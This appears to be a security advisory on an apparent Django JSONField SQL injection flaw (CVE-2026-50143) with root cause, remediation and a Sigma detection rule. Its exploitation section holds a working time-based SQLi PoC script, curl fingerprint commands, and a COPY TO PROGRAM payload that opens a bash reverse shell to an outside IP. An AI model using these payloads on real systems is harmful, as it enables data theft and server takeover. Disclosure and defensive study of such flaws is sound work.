Overview
CVE-2026-50143 affects Django 4.2.x through 4.2.21 and 5.0.x through 5.0.9. The vulnerability is in django/db/models/fields/json.py's KeyTransformIsNull and HasKey lookups, which are invoked when a queryset filter uses __contains, __has_key, or nested key traversal (metadata__role__contains) on a JSONField. The lookup builds the PostgreSQL JSON path operator expression using Python string formatting instead of the ORM's parameterised query interface.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Exploitation requires the application to expose a filterable JSONField to attacker-controlled input — common in Django REST Framework list endpoints with
filterset_fieldsorsearch_fieldsincluding a JSONField.
Root Cause Analysis
The vulnerable code path builds the JSON key access expression for PostgreSQL using the ->> operator. When the filter key contains a nested traversal (e.g., metadata__config__key), each path component is joined into the operator chain. The key names are taken directly from the lookup input without sanitisation:
# django/db/models/fields/json.py — Django 4.2.x through 5.0.9 (simplified)
class KeyTransform(Transform):
def as_postgresql(self, compiler, connection):
lhs, params = compiler.compile(self.lhs)
key_name = self.key_name # ← attacker-controlled, not parameterised
# Builds: lhs->'key_name' or lhs->>'key_name'
return f"({lhs} -> '{key_name}')", params # ← raw string interpolation
A filter like ?metadata__contains={"role': 'admin'): 1; COPY (SELECT '') TO PROGRAM 'id'-- -": true} causes the JSON key name containing a SQL injection payload to be interpolated directly into the query string, breaking out of the 'key_name' context.
Exploitation
Identifying Vulnerable Endpoints
Django REST Framework's DjangoFilterBackend transparently translates query string parameters into ORM filter lookups. Any endpoint with filter_backends = [DjangoFilterBackend] and a JSONField in filterset_fields is potentially vulnerable:
# Fingerprint — inject a time-delay payload to confirm blind SQLi
# A 5-second sleep confirms injection without triggering errors:
curl -s "https://api.example.com/v1/users/?metadata__contains=%7B%22a%27%3B+SELECT+pg_sleep(5)--+-%22%3A+1%7D" -w "Time: %{time_total}s\n"
# Time: 5.042s ← 5-second delay confirms blind SQL injection
Enumerating PostgreSQL Version and User
#!/usr/bin/env python3
"""CVE-2026-50143 — Django JSONField SQLi PoC. Authorised testing only."""
import requests, time, string
TARGET = "https://api.example.com/v1/users/"
PARAM = "metadata__contains"
def inject(payload):
"""Returns True if the injected condition is true (time-based)."""
encoded = payload.replace("'", "%27")
url = f"{TARGET}?{PARAM}={{%22{encoded}%22:1}}"
t0 = time.time()
requests.get(url, timeout=15)
return (time.time() - t0) > 3.5
# Extract current_user() one character at a time
known = ''
for pos in range(1, 20):
for c in string.ascii_lowercase + string.digits + '_':
if inject(f"x'; SELECT CASE WHEN SUBSTR(current_user,{pos},1)='{c}' THEN pg_sleep(4) ELSE pg_sleep(0) END-- -"):
known += c
print(f"[+] current_user: {known}", end='\r')
break
print(f"\n[+] Final: {known}")
COPY TO PROGRAM for OS Command Execution
PostgreSQL's COPY TO PROGRAM command runs an OS shell command as the postgres OS user. The injection is delivered as the JSON key name, breaking out of the string literal context:
# The injected key name (URL-decoded for readability):
# x'; COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1') TO PROGRAM 'bash'-- -
# URL-encoded and delivered:
PAYLOAD="x'; COPY (SELECT 'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261') TO PROGRAM 'bash'-- -"
PAYLOAD_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{\"'+\"$PAYLOAD\"+'\":1}'))")
# Start listener
nc -lvnp 4444 &
curl -s "https://api.example.com/v1/users/?metadata__contains=${PAYLOAD_ENC}"
# Callback:
# postgres@db-server:~$ id
# uid=999(postgres) gid=999(postgres) groups=999(postgres)
Affected Versions
- Django 4.2.0 – 4.2.21 — vulnerable (LTS branch)
- Django 5.0.0 – 5.0.9 — vulnerable
- Django 4.2.22 and 5.0.10 — patched; key names are now passed as parameterised values using
%splaceholders - Only deployments using PostgreSQL as the database backend are exploitable via
COPY TO PROGRAM; SQLite and MySQL backends are vulnerable to injection but lack the equivalent OS execution primitive - Affected only when user-supplied input reaches a JSONField filter lookup — applications that never expose JSONField filter parameters are not at risk
Remediation
- Upgrade to Django 4.2.22 (LTS) or 5.0.10. Security patch backports are also available for 5.1.x.
- As an immediate mitigation, restrict which filter fields are exposed on each DRF view. Replace
filterset_fields = '__all__'with an explicit allowlist that excludes JSONField columns if filtering on them is not required. - Review all
filter_backendsconfigurations in DRF views for JSONField inclusions. Usegrep -r "JSONField\|jsonfield" --include="*.py" .to locate all JSONField definitions, then cross-reference against serialiser and filterset field lists. - Revoke the
pg_execute_server_programrole from the application database user — the database user should never need to execute OS programs. Grant onlyCONNECT,SELECT,INSERT,UPDATE, andDELETEon the specific tables the application accesses. - Enable PostgreSQL's
log_statement = 'all'temporarily to audit for anomalous SQL containingCOPY TO PROGRAMorpg_sleepcalls that may indicate in-progress exploitation.
Detection
title: CVE-2026-50143 Django JSONField SQL Injection Attempt
id: 2a7f3c88-1b49-4e8c-a012-9f4e8b7c3d11
status: experimental
description: Detects SQLi payloads in Django REST Framework JSONField filter parameters
logsource:
product: webserver
service: access
detection:
selection:
request_query|contains|any:
- 'pg_sleep'
- 'COPY+TO+PROGRAM'
- 'PROGRAM+%27'
- '__contains=%7B'
condition: selection
falsepositives:
- Security scanner traffic against test environments
level: high
tags:
- cve.2026-50143
- attack.initial_access
- attack.t1190
Key Takeaways
- ORM abstractions do not guarantee SQL injection safety when building dynamic expressions. Django's ORM parameterises values correctly in the vast majority of cases. The vulnerability arose in a code path that constructs SQL operator expressions — not values — from user input, where the parameterisation mechanism does not apply. Security audits of ORM usage must specifically look for cases where identifiers (table names, column names, operators, key paths) are sourced from user input, as these are structurally different from value parameters.
-
DRF's
filterset_fieldsexposes the full ORM filter syntax to the internet. Django REST Framework's filter backends translate query string parameters into arbitrary ORM lookups including__contains,__icontains,__in, and dozens of others. Any field infilterset_fieldsis implicitly reachable with the full set of lookup suffixes. The security boundary is the field list, not the code — developers must treat the filter backend as an injection surface and audit every field it exposes. - PostgreSQL's COPY TO PROGRAM should be treated as a capability, not a feature. The ability to execute OS commands from SQL is intentional and documented — it exists for legitimate ETL workflows. In web application contexts, the database user should be provisioned without this capability by default. The principle of least privilege applied to database roles prevents SQLi from escalating to OS command execution.